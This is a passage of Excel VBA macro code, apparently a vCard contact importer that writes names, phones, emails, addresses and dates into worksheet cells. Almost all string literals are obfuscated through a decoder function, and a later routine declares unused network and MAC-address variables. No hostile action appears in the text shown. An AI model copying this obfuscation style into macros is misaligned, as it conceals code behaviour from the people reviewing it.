141: If UBound(vcfData_str) = 2 Then LineData_str(1) = l1l1("oidqybuuks", "[`") & l1l1("gzotezdaml", "jn") & l1l1("hxmwqmnbvg", "Jj") & LineData_str(1):        vcfData_str = Split(LineData_str(1), l1l1("ewmbxoqgcq", "[d"))
142: If UBound(vcfData_str) = 1 Then LineData_str(1) = l1l1("jlbwxyoiuq", "hu") & l1l1("hbyvmviulr", "db") & l1l1("nefewzlmhe", "+f") & l1l1("wfoegwxbzb", "rt") & LineData_str(1):  vcfData_str = Split(LineData_str(1), l1l1("lvjzqnyudr", "[c"))
143: End If
144: If vcfItem_str(0) = l1l1("ewmbxoqgcq", "b}p'") Then
145: If UBound(vcfItem_str) = 2 Then LineData_str(0) = LineData_str(0) & l1l1("pyfswgzfcn", "[p"):                    vcfItem_str = Split(LineData_str(0), l1l1("aiehitlvro", "Dh"))
146: If UBound(vcfItem_str) = 1 Then LineData_str(0) = LineData_str(0) & l1l1("cujhedwhbj", "Ua") & l1l1("ewmbxoqgcq", "cd"):              vcfItem_str = Split(LineData_str(0), l1l1("ntlbuoltnt", "Sf"))
147: If UBound(vcfItem_str) = 0 Then LineData_str(0) = LineData_str(0) & l1l1("cujhedwhbj", "Fa") & l1l1("gzotezdaml", "Nn") & l1l1("yckajnqwai", "gj"):        vcfItem_str = Split(LineData_str(0), l1l1("yckajnqwai", "/j"))
148: LineData_str(1) = Replace(LineData_str(1), l1l1("vxwcnfafvn", "kZ"), "")
149: LineData_str(1) = Replace(LineData_str(1), l1l1("aagdpdgppc", "Uc"), "")
150: End If
151: If vcfItem_str(0) = l1l1("ntzstyuvno", "C}'|") Then
152: If UBound(vcfItem_str) = 2 Then LineData_str(0) = LineData_str(0) & l1l1("smyjjjcife", "bg"):                    vcfItem_str = Split(LineData_str(0), l1l1("iohudpskkh", "At"))
153: If UBound(vcfItem_str) = 1 Then LineData_str(0) = LineData_str(0) & l1l1("rksospugim", "Zt") & l1l1("lvjzqnyudr", "ac"):              vcfItem_str = Split(LineData_str(0), l1l1("bwwyisrmwz", "cn"))
154: If UBound(vcfItem_str) = 0 Then LineData_str(0) = LineData_str(0) & l1l1("gzotezdaml", "en") & l1l1("ntlbuoltnt", "Qf") & l1l1("agtlixgwnb", "Sm"):        vcfItem_str = Split(LineData_str(0), l1l1("cujhedwhbj", "Ia"))
155: End If
156: If vcfItem_str(0) = l1l1("ewmbxoqgcq", "O""X{egj)s") Then
157: If UBound(vcfItem_str) = 0 Then LineData_str(0) = LineData_str(0) & l1l1("kvbbpycfxc", "[f"):                     vcfItem_str = Split(LineData_str(0), l1l1("cfivnimtkl", "fu"))
158: End If
159: If LineData_str(0) = l1l1("smyjjjcife", "^nyxus") Then
160: If NoEr_int < Item_int Then Exit For
161: Item_int = Item_int + 1
162: sh.Cells(Item_int, 1) = Item_int - 1
163: OverData_str = ""
164: Undefined_str = ""
165: ElseIf LineData_str(0) = l1l1("lvjzqnyudr", "<mvf") Then
166: TELother_int = 0
167: TELwork_int = 0
168: TELmobile_int = 0
169: TELhome_int = 0
170: mail_int = 0
171: URL_int = 0
172: AddHome_int = 0
173: AddWork_int = 0
174: AddOther_int = 0
175: If OverData_str <> "" Or Undefined_str <> "" Then sh.Cells(Item_int, 70) = Left(OverData_str & Undefined_str, Len(OverData_str & Undefined_str) - 2)
176: ElseIf vcfItem_str(0) = l1l1("ycxfaftzjp", "'ywp)v") Or vcfItem_str(0) = l1l1("nefewzlmhe", "S$^rxt{w(((w") Or vcfItem_str(0) = l1l1("cujhedwhbj", "W~Quyw!p#{!p") Then
177: ElseIf LineData_str(0) = l1l1("smyjjjcife", "p#y$ nr&") Then
178: Ver_str = LineData_str(1)
179: sh.Cells(Item_int, 68) = LineData_str(1)
180: ElseIf LineData_str(0) = l1l1("jujjqpmpdu", "Fiw") Then
181: FullName_str = LineData_str(1)
182: ElseIf LineData_str(0) = l1l1("vxwcnfafvn", "$)") Or vcfItem_str(0) = l1l1("vxwcnfafvn", "V)") Then
183: Name2nd_str = vcfData_str(0): sh.Cells(Item_int, 2) = vcfData_str(0)
184: If UBound(vcfData_str) > 0 Then
185: Name1st_str = vcfData_str(1)
186: sh.Cells(Item_int, 4) = vcfData_str(1)
187: End If
188: If UBound(vcfData_str) > 1 Then
189: vcfData_str(2) = Replace(vcfData_str(2), l1l1("naaetyzaku", "'^"), "")
190: vcfData_str(2) = Replace(vcfData_str(2), l1l1("gxrlcshfpr", "pT"), "")
191: NameMid_str = vcfData_str(2)
192: sh.Cells(Item_int, 5) = vcfData_str(2)
193: End If
194: ElseIf LineData_str(0) = l1l1("igolnpkkbv", ".)ap{!vu)#v~h") Then
195: sh.Cells(Item_int, 3) = vcfData_str(2)
196: ElseIf LineData_str(0) = l1l1("ewmbxoqgcq", "J""X+krwy#zrWrl~zP(p'r") Then
197: If menu_vCard.CheckYomi.Value = True Then
198: Name2ndF_str = StrConv(LineData_str(1), vbHiragana)
199: Else
200: Name2ndF_str = StrConv(LineData_str(1), vbKatakana)
201: End If
202: sh.Cells(Item_int, 6) = Name2ndF_str
203: ElseIf vcfItem_str(0) = l1l1("smyjjjcife", "@ $'zi") Then
204: sh.Cells(Item_int, 6) = StrConv(vcfData_str(0), vbWide)
205: ElseIf LineData_str(0) = l1l1("aagdpdgppc", "Z/[}q wq pi_%ly{""ng~vwz") Then
206: LineData_str(1) = Replace(LineData_str(1), l1l1("rsvidcvxjl", "wR"), "")
207: LineData_str(1) = Replace(LineData_str(1), l1l1("hxmwqmnbvg", "CX"), "")
208: If menu_vCard.CheckYomi.Value = True Then
209: NameMidF_str = StrConv(LineData_str(1), vbHiragana)
210: Else
211: NameMidF_str = StrConv(LineData_str(1), vbKatakana)
212: End If
213: sh.Cells(Item_int, 9) = Trim(NameMidF_str)
214: ElseIf LineData_str(0) = l1l1("cfivnimtkl", "v3\+uq&g.jy^uv+*$[!yvk") Then
215: If menu_vCard.CheckYomi.Value = True Then
216: Name1stF_str = StrConv(LineData_str(1), vbHiragana)
217: Else
218: Name1stF_str = StrConv(LineData_str(1), vbKatakana)
219: End If
220: sh.Cells(Item_int, 8) = Name1stF_str
221: ElseIf LineData_str(0) = l1l1("ntlbuoltnt", "ayjl|)zno") Then
222: NameNic_str = LineData_str(1)
223: sh.Cells(Item_int, 10) = LineData_str(1)
224: ElseIf LineData_str(0) = l1l1("unjcohjdqj", "?}{n") Or vcfItem_str(0) = l1l1("nefewzlmhe", "T$^py") Then
225: Company_str = vcfData_str(0): sh.Cells(Item_int, 11) = vcfData_str(0)
226: If UBound(vcfData_str) > 0 Then Division_str = vcfData_str(1): sh.Cells(Item_int, 12) = vcfData_str(1)
227: ElseIf LineData_str(0) = l1l1("wfoegwxbzb", "a2O)|{xk/|sS}z!") Then
228: ElseIf LineData_str(0) = l1l1("qsyvyvovtd", "c%w""tt") Then
229: Title_str = LineData_str(1)
230: sh.Cells(Item_int, 13) = Title_str
231: ElseIf vcfItem_str(0) = l1l1("kvbbpycfxc", "q ws") And (LineData_str(1) <> "" And Left(LineData_str(1), 1) <> l1l1("ohjkqxdxfv", "dr")) Then
232: LineData_str(1) = Module_Sub.F_FixedTEL(LineData_str(1))
233: If vcfItem_str(1) = l1l1("qsyvyvovtd", "s%(}ml{b&") Or vcfItem_str(2) = l1l1("spsiodfgxc", "E&""spkru#") Or vcfItem_str(3) = l1l1("jlbwxyoiuq", "E/ |kjkl'") _
Or vcfItem_str(1) = l1l1("aagdpdgppc", ".|o&") Or vcfItem_str(2) = l1l1("eieamipjzz", "mrf0") Or vcfItem_str(3) = l1l1("pwhgxbqvqh", "Ckx}") Then
235: Call Module_Sub.Sub_TEL(Item_int, LineData_str(1), l1l1("xypubytdug", "Lto"""), OverData_tmp)
236: OverData_str = OverData_str & OverData_tmp
237: ElseIf vcfItem_str(1) = l1l1("cfivnimtkl", "A/)+r_%c#o") Or vcfItem_str(2) = l1l1("cujhedwhbj", "Jz}|qs'l$)") Or vcfItem_str(3) = l1l1("oidqybuuks", "-y!q|u}{}$") Then
238: Call Module_Sub.Sub_TEL(Item_int, LineData_str(1), l1l1("smyjjjcife", 20071, 38703, 35490, 30102, 21532), OverData_tmp)
239: OverData_str = OverData_str & OverData_tmp
240: ElseIf vcfItem_str(1) = l1l1("naaetyzaku", "T+|$}cjtxs~r") Or vcfItem_str(2) = l1l1("aiehitlvro", ";""%st^s}!q|o") Or vcfItem_str(3) = l1l1("vxwcnfafvn", "B/) zvsvtq {") Then
241: Call Module_Sub.Sub_TEL(Item_int, LineData_str(1), l1l1("xypubytdug", "e8~2=3?"), OverData_tmp)
242: OverData_str = OverData_str & OverData_tmp
243: ElseIf vcfItem_str(1) = l1l1("eeeuugbcii", "R~$trsxfvt") Or vcfItem_str(2) = l1l1("hxmwqmnbvg", "S$)#kwvru!") Or vcfItem_str(3) = l1l1("kvbbpycfxc", "U ,wtcz{xx") _
Or vcfItem_str(1) = l1l1("qsyvyvovtd", "e%(}ml", 25711, 24144) Or vcfItem_str(2) = l1l1("spsiodfgxc", "m&""spk", 25702, 24163) Or vcfItem_str(3) = l1l1("kvbbpycfxc", "c ,wtc", 25713, 24165) Then
245: Call Module_Sub.Sub_TEL(Item_int, LineData_str(1), l1l1("hbyvmviulr", 25697, 24148, 38696, 35475), OverData_tmp)
246: OverData_str = OverData_str & OverData_tmp
247: ElseIf vcfItem_str(1) = l1l1("pyfswgzfcn", "c*!""mh('*r") Or vcfItem_str(2) = l1l1("ewmbxoqgcq", "Q}%+h`!$!|") Or vcfItem_str(3) = l1l1("aagdpdgppc", "N+(}nm!{}r") Then
248: Call Module_Sub.Sub_TEL(Item_int, LineData_str(1), l1l1("eeeuugbcii", 21262, 21251, 20844), OverData_tmp)
249: OverData_str = OverData_str & OverData_tmp
250: ElseIf vcfItem_str(1) = l1l1("yckajnqwai", "j$4vwh|$""q") Or vcfItem_str(2) = l1l1("ntzstyuvno", "[|.!|b s""{") Or vcfItem_str(3) = l1l1("yckajnqwai", "/$4vwh|$""q") Then
251: Call Module_Sub.Sub_TEL(Item_int, LineData_str(1), l1l1("aagdpdgppc", 33312, 23475), OverData_tmp)
252: OverData_str = OverData_str & OverData_tmp
253: ElseIf vcfItem_str(1) = l1l1("aiehitlvro", "k""%st^", 12423, 12443, 20238) Or vcfItem_str(2) = l1l1("jujjqpmpdu", "Fw# s_", 12414, 12432, 20232) Or vcfItem_str(3) = l1l1("ozvkadqidl", "_*(%vg", 12437, 12449, 20235) _
Or vcfItem_str(1) = l1l1("xypubytdug", "f#(yra))vvt") Or vcfItem_str(2) = l1l1("gzotezdaml", "e(.~x^!}l|,") Or vcfItem_str(3) = l1l1("nefewzlmhe", "Y +ypp$'{s*") Then
255: Call Module_Sub.Sub_TEL(Item_int, LineData_str(1), l1l1("aiehitlvro", 12426, 12441, 20217), OverData_tmp)
256: OverData_str = OverData_str & OverData_tmp
257: ElseIf vcfItem_str(1) = l1l1("ycxfaftzjp", "N})qydsi|l&") Or vcfItem_str(2) = l1l1("lvjzqnyudr", "!|""r}eygrmy") Or vcfItem_str(3) = l1l1("iohudpskkh", ")./y~w}y{l#") Then
258: OverData_str = OverData_str & l1l1("oruzchagfe", "n}q|]", 12553, 12517, 12539, 12567, "RLc") & LineData_str(1) & Chr(13) & Chr(10)
259: ElseIf X_ABLabel_str <> "" Then
260: Select Case X_ABLabel_str
Case l1l1("jlbwxyoiuq", "l:JMb!)4>6AnJ\""")
262: Call Module_Sub.Sub_TEL(Item_int, LineData_str(1), l1l1("jujjqpmpdu", 23433, 26698), OverData_tmp)
263: OverData_str = OverData_str & OverData_tmp
264: Case Else
265: Call Module_Sub.Sub_TEL(Item_int, LineData_str(1), X_ABLabel_str, OverData_tmp)
266: OverData_str = OverData_str & OverData_tmp
267: End Select
268: Else
269: Call Module_Sub.Sub_TEL(Item_int, LineData_str(1), l1l1("gzotezdaml", 26461, 21050, 39052), OverData_tmp)
270: OverData_str = OverData_str & OverData_tmp
271: End If
272: ElseIf vcfItem_str(0) = l1l1("ntlbuoltnt", "&pnjz'") Then
273: If vcfItem_str(1) = l1l1("ntlbuoltnt", "C zyvw""pw~") Or vcfItem_str(2) = l1l1("jujjqpmpdu", "_w# s_iq z") Or vcfItem_str(3) = l1l1("wfoegwxbzb", "i.{)yiru(x") Then
274: Call Module_Sub.Sub_EMAIL(Item_int, LineData_str(1), l1l1("qsyvyvovtd", 33306, 23475), OverData_tmp)
275: OverData_str = OverData_str & OverData_tmp
276: ElseIf vcfItem_str(1) = l1l1("ewmbxoqgcq", "g}%+h`!$!|") Or vcfItem_str(2) = l1l1("hbyvmviulr", "q{~}gw""v*z") Or vcfItem_str(3) = l1l1("wlirxzdvrp", "\!#xwr+x t") Then
277: Call Module_Sub.Sub_EMAIL(Item_int, LineData_str(1), l1l1("hyyznvpqfz", 21260, 21267, 20848), OverData_tmp)
278: OverData_str = OverData_str & OverData_tmp
279: ElseIf vcfItem_str(1) = l1l1("opywcihnxr", "ty,*|m|m""~") Or vcfItem_str(2) = l1l1("rksospugim", "[.!|phpms'") Or vcfItem_str(3) = l1l1("hbyvmviulr", "m{~}gwml${") Then
280: Call Module_Sub.Sub_EMAIL(Item_int, LineData_str(1), l1l1("jujjqpmpdu", 25693, 24152, 38698, 35487), OverData_tmp)
281: OverData_str = OverData_str & OverData_tmp
282: ElseIf X_ABLabel_str <> "" Then
283: Select Case X_ABLabel_str
Case l1l1("qsyvyvovtd", "{0RNd#9*=60rMX2")
285: Call Module_Sub.Sub_EMAIL(Item_int, LineData_str(1), l1l1("lvjzqnyudr", 23438, 26697), OverData_tmp)
286: OverData_str = OverData_str & OverData_tmp
287: Case l1l1("hxmwqmnbvg", "`9r?6P8")
288: Call Module_Sub.Sub_EMAIL(Item_int, LineData_str(1), l1l1("pyfswgzfcn", "\?j>8A5"), OverData_tmp)
289: OverData_str = OverData_str & OverData_tmp
290: Case l1l1("eieamipjzz", "n,IXfw?4?4lNK4")
291: Call Module_Sub.Sub_EMAIL(Item_int, LineData_str(1), l1l1("oidqybuuks", 12418, 12437, 20215), OverData_tmp)
292: OverData_str = OverData_str & OverData_tmp
293: Case Else
294: Call Module_Sub.Sub_EMAIL(Item_int, LineData_str(1), X_ABLabel_str, OverData_tmp)
295: OverData_str = OverData_str & OverData_tmp
296: End Select
297: ElseIf vcfItem_str(1) = l1l1("vxwcnfafvn", "X/) zvst!g$%w-") Or vcfItem_str(2) = l1l1("smyjjjcife", "&!.""qbl&#|ypxu") Or vcfItem_str(3) = l1l1("ycxfaftzjp", "x})qydlv*l&)tz") Then
298: Call Module_Sub.Sub_EMAIL(Item_int, LineData_str(1), l1l1("gxrlcshfpr", 25701, 24160, 38688, 35497), OverData_tmp)
299: OverData_str = OverData_str & OverData_tmp
300: ElseIf vcfItem_str(1) = l1l1("oidqybuuks", "/y!q|u", 12429, 12456, 20234) Or vcfItem_str(2) = l1l1("jujjqpmpdu", "Ew# s_", 12414, 12432, 20232) Or vcfItem_str(3) = l1l1("jhcfhqbnlk", "c$}$un", 12420, 12454, 20231) Then
301: Call Module_Sub.Sub_EMAIL(Item_int, LineData_str(1), l1l1("spsiodfgxc", 12430, 12438, 20217), OverData_tmp)
302: OverData_str = OverData_str & OverData_tmp
303: Else
304: Call Module_Sub.Sub_EMAIL(Item_int, LineData_str(1), l1l1("qsyvyvovtd", 26458, 21044, 39051), OverData_tmp)
305: OverData_str = OverData_str & OverData_tmp
306: End If
307: ElseIf vcfItem_str(0) = l1l1("jhcfhqbnlk", "Zph&") Then
308: vcfData_str(6) = vcfData_str(6) & l1l1("lvjzqnyudr", ".W") & X_ABADR_str
309: vcfData_str(5) = StrConv(vcfData_str(5), vbNarrow)
310: If X_ABLabel_str = "" Then
311: If vcfItem_str(1) = l1l1("jlbwxyoiuq", "D/ |kjmz{k") Or vcfItem_str(2) = l1l1("lvjzqnyudr", "P|""r}equxm") Or vcfItem_str(3) = l1l1("qsyvyvovtd", "^%(}ml}pzk") Then
312: Call Module_Sub.Sub_Add(Item_int, vcfData_str(5), vcfData_str(6), vcfData_str(4), vcfData_str(3), vcfData_str(2), vcfData_str(1), l1l1("gzotezdaml", 33309, 23481), OverData_tmp)
313: OverData_str = OverData_str & OverData_tmp
314: ElseIf vcfItem_str(1) = l1l1("wlirxzdvrp", "P!#xwr+x t") Or vcfItem_str(2) = l1l1("eieamipjzz", "g!~(oe""z,l") Or vcfItem_str(3) = l1l1("rsvidcvxjl", "+~$+ml2sx&") Then
315: Call Module_Sub.Sub_Add(Item_int, vcfData_str(5), vcfData_str(6), vcfData_str(4), vcfData_str(3), vcfData_str(2), vcfData_str(1), l1l1("agtlixgwnb", 21270, 21262, 20842), OverData_tmp)
316: OverData_str = OverData_str & OverData_tmp
317: ElseIf vcfItem_str(1) = l1l1("eieamipjzz", "m!~(oey ""f!") Or vcfItem_str(2) = l1l1("jujjqpmpdu", "ew# s_pvzz{") Or vcfItem_str(3) = l1l1("xypubytdug", "_#(yra))vvt") Then
318: Call Module_Sub.Sub_Add(Item_int, vcfData_str(5), vcfData_str(6), vcfData_str(4), vcfData_str(3), vcfData_str(2), vcfData_str(1), l1l1("lvjzqnyudr", 12421, 12438, 20216), OverData_tmp)
319: OverData_str = OverData_str & OverData_tmp
320: Else
321: Call Module_Sub.Sub_Add(Item_int, vcfData_str(5), vcfData_str(6), vcfData_str(4), vcfData_str(3), vcfData_str(2), vcfData_str(1), l1l1("wlirxzdvrp", 26454, 23491, 32721), OverData_tmp)
322: OverData_str = OverData_str & OverData_tmp
323: End If
324: Else
325: Select Case X_ABLabel_str
Case l1l1("hbyvmviulr", "G'IN^..0G?2nZN0")
327: Call Module_Sub.Sub_Add(Item_int, vcfData_str(5), vcfData_str(6), vcfData_str(4), vcfData_str(3), vcfData_str(2), vcfData_str(1), l1l1("spsiodfgxc", 23447, 26697), OverData_tmp)
328: OverData_str = OverData_str & OverData_tmp
329: Case Else
330: Call Module_Sub.Sub_Add(Item_int, vcfData_str(5), vcfData_str(6), vcfData_str(4), vcfData_str(3), vcfData_str(2), vcfData_str(1), X_ABLabel_str, OverData_tmp)
331: OverData_str = OverData_str & OverData_tmp
332: End Select
333: End If
334: If HouSu_int < Item_int Then Exit For
335: ElseIf vcfItem_str(0) = l1l1("nefewzlmhe", "E!$u") Then
336: If UBound(LineData_str) = 2 Then LineData_str(1) = LineData_str(1) & l1l1("puyyapbmgm", "ja") & LineData_str(2)
337: If vcfItem_str(1) = l1l1("igolnpkkbv", "v%.s t* - ") Or vcfItem_str(2) = l1l1("pwhgxbqvqh", "Vy1unp+$)m") Or vcfItem_str(3) = l1l1("unjcohjdqj", "y##ws_1)+&") Then
338: Call Module_Sub.Sub_URL(Item_int, LineData_str(1), l1l1("rsvidcvxjl", 21262, 21251, 20866), OverData_tmp)
339: OverData_str = OverData_str & OverData_tmp
340: ElseIf vcfItem_str(1) = l1l1("kvbbpycfxc", "~ ,wtc &yq") Or vcfItem_str(2) = l1l1("yckajnqwai", "$$4vwh|$""q") Or vcfItem_str(3) = l1l1("agtlixgwnb", ")'/riv|#""j") Then
341: Call Module_Sub.Sub_URL(Item_int, LineData_str(1), l1l1("kvbbpycfxc", 33301, 23479), OverData_tmp)
342: OverData_str = OverData_str & OverData_tmp
343: ElseIf X_ABLabel_str <> "" Then
344: Select Case X_ABLabel_str
Case l1l1("wfoegwxbzb", "+9FYp ./JC=dOL9")
346: Call Module_Sub.Sub_URL(Item_int, LineData_str(1), l1l1("crftycgpdk", 23453, 26706), OverData_tmp)
347: OverData_str = OverData_str & OverData_tmp
348: Case l1l1("bayjegdczo", "b""XUs|4F?z95;sEJ'")
349: Call Module_Sub.Sub_URL(Item_int, LineData_str(1), l1l1("cujhedwhbj", 12545, 12576, 12556, 12550, 12594, 12529), OverData_tmp)
350: OverData_str = OverData_str & OverData_tmp
351: Case l1l1("rsvidcvxjl", "\*N[d~O-,MdMT3")
352: Call Module_Sub.Sub_URL(Item_int, LineData_str(1), l1l1("nefewzlmhe", 12424, 12447, 20223), OverData_tmp)
353: OverData_str = OverData_str & OverData_tmp
354: Case Else
355: Call Module_Sub.Sub_URL(Item_int, LineData_str(1), X_ABLabel_str, OverData_tmp)
356: OverData_str = OverData_str & OverData_tmp
357: End Select
358: Else
359: Call Module_Sub.Sub_URL(Item_int, LineData_str(1), l1l1("puyyapbmgm", 12420, 12444, 20225), OverData_tmp)
360: OverData_str = OverData_str & OverData_tmp
361: End If
362: ElseIf vcfItem_str(0) = l1l1("ewmbxoqgcq", "gko{|") Then
363: Call Module_Sub.Sub_Bdate(Item_int, LineData_str(1), l1l1("smyjjjcife", 35521, 30035, 26134), OverData_tmp)
364: OverData_str = OverData_str & OverData_tmp
365: ElseIf vcfItem_str(0) = l1l1("opywcihnxr", "y}_zytz|z") Then
366: If vcfItem_str(1) = l1l1("qsyvyvovtd", "]%(}ml%uuku") Then
367: Call Module_Sub.Sub_Adate(Item_int, LineData_str(1), l1l1("cfivnimtkl", 12439, 12445, 20240), OverData_tmp)
368: OverData_str = OverData_str & OverData_tmp
369: ElseIf X_ABLabel_str <> "" Then
370: Select Case X_ABLabel_str
Case l1l1("yckajnqwai", "g/^GnlCC>C=@F<8<aTM8")
372: Call Module_Sub.Sub_Adate(Item_int, LineData_str(1), l1l1("agtlixgwnb", 35402, 24618, 26119), OverData_tmp)
373: OverData_str = OverData_str & OverData_tmp
374: Case l1l1("eeeuugbcii", "P*NEi&J*0;lRK(")
375: Call Module_Sub.Sub_Adate(Item_int, LineData_str(1), l1l1("oruzchagfe", 12422, 12442, 20230), OverData_tmp)
376: OverData_str = OverData_str & OverData_tmp
377: Case Else
378: Call Module_Sub.Sub_Adate(Item_int, LineData_str(1), X_ABLabel_str, OverData_tmp)
379: OverData_str = OverData_str & OverData_tmp
380: End Select
381: End If
382: ElseIf vcfItem_str(0) = l1l1("unjcohjdqj", "H|x{s") Then
383: If UBound(LineData_str) = 0 Then
384: Note_int_str = LineData_str(1)
385: sh.Cells(Item_int, 66) = LineData_str(1)
386: ElseIf UBound(LineData_str) > 0 Then
387: Note_tmp = LineData_str(1)
388: For ii = 2 To UBound(LineData_str)
389: Note_tmp = Note_tmp + l1l1("cujhedwhbj", "r`") + LineData_str(ii)
390: Next ii
391: sh.Cells(Item_int, 66) = Note_tmp
392: End If
393: ElseIf vcfItem_str(0) = l1l1("naaetyzaku", "oyd(}mpvyi$") Then
394: Category_str = LineData_str(1)
395: sh.Cells(Item_int, 67) = LineData_str(1)
396: ElseIf LineData_str(0) = l1l1("ycxfaftzjp", "X~xe") Then
397: UID_str = LineData_str(1)
398: sh.Cells(Item_int, 69) = LineData_str(1)
399: ElseIf vcfItem_str(0) = l1l1("tuykxpfecr", "}+^oiywzkxuirk ix") Then
400: OverData_str = OverData_str & l1l1("rksospugim", 38363, 20457, 32817, 65349) & LineData_str(1) & Chr(13) & Chr(10)
401: ElseIf vcfItem_str(0) = l1l1("rlypsesfvv", ";+T(*iviov%""xln|") Then
402: OverData_str = OverData_str & vcf_str(Line_int) & Chr(13) & Chr(10)
403: ElseIf vcfItem_str(0) = l1l1("cujhedwhbj", "x~Qmu$") Or vcfItem_str(0) = l1l1("naaetyzaku", "O/P!,t") Or vcfItem_str(0) = l1l1("ohjkqxdxfv", "z!y #") Then
404: ElseIf vcfItem_str(0) = l1l1("crftycgpdk", "E0^tutqp""cu") Then
405: ElseIf vcfItem_str(0) = l1l1("jhcfhqbnlk", "&(Qts&p/z!-Pwvnu.") Then
406: ElseIf vcfItem_str(0) = l1l1("hxmwqmnbvg", "O(\sh0|q") Then
407: ElseIf Left(LineData_str(0), 3) = l1l1("pyfswgzfcn", "_(l(") Or Left(LineData_str(0), 6) = l1l1("wfoegwxbzb", "I*t(xun") Then
408: ElseIf vcfItem_str(0) = l1l1("ewmbxoqgcq", "t""X~fpV|{ \wuop") Then
409: ElseIf vcfItem_str(0) = l1l1("ohjkqxdxfv", "k0Y}""") Or vcfItem_str(0) = l1l1("aagdpdgppc", "@/[tw") Or vcfItem_str(0) = l1l1("opywcihnxr", "m}_!& ") Then
410: ElseIf vcfItem_str(0) = l1l1("pyfswgzfcn", "h.Tttl$+") Or vcfItem_str(0) = l1l1("nefewzlmhe", "w$^r}!w_""") Or vcfItem_str(0) = l1l1("aahrwrbhsj", "Ih'd|mvj%""n}+") Then
411: ElseIf vcfItem_str(0) = l1l1("xypubytdug", "C[|") Or vcfItem_str(0) = l1l1("hxmwqmnbvg", "Ct") Or vcfItem_str(0) = l1l1("ozvkadqidl", "?~qy") Then
412: ElseIf (LineData_str(1) <> "" And Left(LineData_str(1), 1) <> l1l1("pyfswgzfcn", "Up")) Then
413: Error_int = Error_int + 1
414: AA = F_Undefined(LineData_str(0), LineData_str(1), Str(UBound(vcfItem_str)), Str(UBound(vcfData_str)))
415: Undefined_str = Undefined_str + AA
416: UndefinedAll_str = UndefinedAll_str + AA
417: End If
418: Else
419: Line_int = Line_int - 1
420: End If
421: Application.StatusBar = Str(Line_int) & l1l1("kvbbpycfxc", "gZ") & Str(dataSu_int) & l1l1("spsiodfgxc", "SQ", 34932, 30481, 21009, 29748, 20057)
422: Next Line_int
423: Sheets(l1l1("rsvidcvxjl", 12492, 12531, 12582, 12513, 24162, 20026, 35275)).Select
424: If Item_int > 10000 Then MsgBox l1l1("puyyapbmgm", 25316, 21032, 20257, 26012, 12397, 65348, 20022, 20270, 12481, 36273, 12411, 12460, 12408, 12420, 12453, 12449, 12332, 12437, 12472, 20252, 38513, 12438, 12528, 12594, 12526, 12447, 25325, 21022, 12442, 12407, 12449, 12412, 12468, 12431, 12429, 12439, 12338)
425: If Error_int = 0 Then
426: MsgBox l1l1("spsiodfgxc", 25326, 21026, 23471, 20145, "^VL") & Item_int - 1 & l1l1("tuykxpfecr", 20264, "gQW") + Chr(13) + Chr(10)
427: Else
428: MsgBox l1l1("yckajnqwai", 25324, 21044, 23474, 20152, "CST") & Item_int - 1 & l1l1("oidqybuuks", 20251, "uGJ") + Chr(13) + Chr(10) + Chr(13) + Chr(10) _
+ Error_str + Chr(13) + Chr(10) _
+ l1l1("crftycgpdk", 22878, 22842, 30054, 12426, 35412, 12413, 12407, 12398, 12448, 12413, 12493, 12411, 12328, 26453, 23506, 32716, 12550, 12562, 12546, 12584, 12536, 12411, 12401, 12475, 12466, 12418, 12447, 12435, 12342) + Chr(13) + Chr(10) _
+ l1l1("opywcihnxr", 26447, 23500, 32738, 12552, 12569, 12570, 12580, 12532, 12448, 36900, 20242, 12480, 12413, 39035, 12409, 33316, 12426, 12453, 12418, 12331)
432: End If
433: Application.StatusBar = False
434: Unload Me
ende:
Exit Sub
myError:
Sheets(l1l1("ohjkqxdxfv", 12568, 12535, 12564, 12590)).Cells(15, 1) = l1l1("bwwyisrmwz", 12507, 12579, 12581, 12523, 12584, 12531, "qQE(=CI)JP73K)Q")
Sheets(l1l1("crftycgpdk", 12568, 12540, 12568, 12591)).Cells(15, 2) = vcf_str(Line_int - 2)
Sheets(l1l1("jlbwxyoiuq", 12571, 12529, 12561, 12578)).Cells(16, 2) = vcf_str(Line_int - 1)
Sheets(l1l1("puyyapbmgm", 12552, 12537, 12560, 12584)).Cells(17, 2) = vcf_str(Line_int + 0)
Sheets(l1l1("yckajnqwai", 12560, 12549, 12555, 12590)).Cells(18, 2) = vcf_str(Line_int + 1)
Sheets(l1l1("xypubytdug", 12559, 12537, 12558, 12585)).Cells(19, 2) = vcf_str(Line_int + 2)
On Error GoTo 0
End Sub
Private Sub Button_Exec2_Click()
Dim objNetwork As Object
Dim strNetworkSql As String
Dim strMacAdr As String
ItemMAX_int = 4
menu_vCard.Hide
Dim Filename_Str(10)
Dim TELtemp_str As String
Sheets(l1l1("wlirxzdvrp", 12557, 12532, 12557, 12590)).Cells(15, 2) = ""
Sheets(l1l1("bwwyisrmwz", 12564, 12549, 12558, 12576)).Cells(15, 1) = l1l1("vxwcnfafvn", 12545, 12587, 12526, 12534, 12512, 12525, 12501)
Sheets(l1l1("rlypsesfvv", 12563, 12530, 12569, 12598)).Range(l1l1("vxwcnfafvn", "F|`eo|]V")).ClearContents
ColRow_int = 1
ColName2nd_int = 2
ColNameOri_int = 3
ColName1st_int = 4
ColNameMid_int = 5
ColName2ndF_int = 6
ColNameOriF_int = 7
ColName1stF_int = 8
ColNameMidF_int = 9
ColNameNic_int = 10
ColCompany_int = 11
ColDivision_int = 12
ColTitle_int = 13
ColTEL1_int = 14
ColTEL1type_int = 15
ColTEL2_int = 16
ColTEL2type_int = 17
ColTEL3_int = 18
ColTEL3type_int = 19
ColTEL4_int = 20
ColTEL4type_int = 21
Colmail1_int = 22
Colmail1type_int = 23
Colmail2_int = 24
Colmail2type_int = 25
Colmail3_int = 26
Colmail3type_int = 27
Colmail4_int = 28
Colmail4type_int = 29
ColAddPost1_int = 30
ColAddKuni1_int = 31
ColAddPref1_int = 32
ColAddCity1_int = 33
ColAddOptA1_int = 34
ColAddPotB1_int = 35
ColAdd1type_int = 36
ColAddPost2_int = 37
ColAddKuni2_int = 38
ColAddPref2_int = 39
ColAddCity2_int = 40
ColAddOptA2_int = 41
ColAddPotB2_int = 42
ColAdd2type_int = 43
ColAddPost3_int = 44
ColAddKuni3_int = 45
ColAddPref3_int = 46
ColAddCity3_int = 47
ColAddOptA3_int = 48
ColAddPotB3_int = 49
ColAdd3type_int = 50
ColAddPost4_int = 51
ColAddKuni4_int = 52
ColAddPref4_int = 53
ColAddCity4_int = 54
ColAddOptA4_int = 55
ColAddPotB4_int = 56
ColAdd4type_int = 57
ColURL1_int = 58
ColURL1tpe_int = 59
ColURL2_int = 60
ColURL2tpe_int = 61
ColBirth_int = 62
ColBirthtype_int = 63
ColAnniv_int = 64
ColAnnivtype_int = 65
